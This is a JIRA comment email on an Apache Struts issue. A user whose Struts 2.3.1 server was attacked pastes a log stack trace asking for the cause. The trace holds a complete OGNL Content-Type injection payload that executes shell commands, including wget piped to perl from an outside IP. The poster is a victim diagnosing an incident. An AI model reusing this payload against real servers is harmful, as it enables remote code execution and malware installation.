[ 
https://issues.apache.org/jira/browse/WW-4774?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15945751#comment-15945751
 ] 

upendar commented on WW-4774:
-----------------------------

Thank you, but  we got attacks with struts version 2.3.1 , what could be the 
reason  I see all struts versions 2.3.1 and common-fileupload-1.2.2 and 
ognl-3.0.3.jar , could you help me to traceout what could be reason for 2.3.1 


Here is the exception stack trace 

WARN  org.apache.struts2.dispatcher.multipart.MultiPartRequest (warn:60)  - 
Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the 
request doesn't contain a multipart/form-data or multipart/mixed stream, 
content type header is 
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget
 -qO - http://87.106.245.51/.jb | perl ; cd /tmp ; curl -O http://xxxxxx/.jb ; 
fetch http:/xxxxx/.jb ; perl .jb ;rm -rf 
.jb*').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
 
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
        at 
org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
        at 
org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
        at 
org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
        at 
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:151)
        at 
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:90)
        at 
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:80)
        at 
org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:75)
        at 
org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:740)
        at 
org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:131)
        at 
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
        at 
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1338)

> Upgrding Struts 2.3.1 to 2.5.10.1 - Redirect issues  HTTPS to HTTP
> ------------------------------------------------------------------
>
>                 Key: WW-4774
>                 URL: https://issues.apache.org/jira/browse/WW-4774
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.5.10
>            Reporter: upendar
>            Priority: Critical
>             Fix For: 2.5.next
>
>
> We are upgrading Struts2 from 2.3.1 to 2.5.10.1 ; redirect  making https:// 
> to http:// . The following errors in chrome and IE are seen while redirecting 
>  from the popup to main window
> redirecting  popup (create user) --- main window (viewdashboard)  - the URL 
> shows https:// to http://
> We are blocked completely due to this issue and need support ASAP. We also 
> reviewed the apache server configurations and looks good. Please share the 
> fix in detail.
> Error Issue in chrome :
> Mixed Content: The page at 
> 'https://XXXXX/XX/XX/viewdashboard?clear&Id=1&uar=44' was loaded over HTTPS, 
> but requested an insecure XMLHttpRequest endpoint 
> 'http://XXX/XX/XX/viewdashboard?uar=44&Id=1'. This request has been blocked; 
> the content must be served over HTTPS.
> Issue in IE
> SEC7127: Redirect was blocked for CORS request.
> File: account
> SCRIPT7002: XMLHttpRequest: Network Error 0x2ef1, Could not complete the 
> operation due to error 00002ef1.



--
This message was sent by Atlassian JIRA
(v6.3.15#6346)

Reply via email to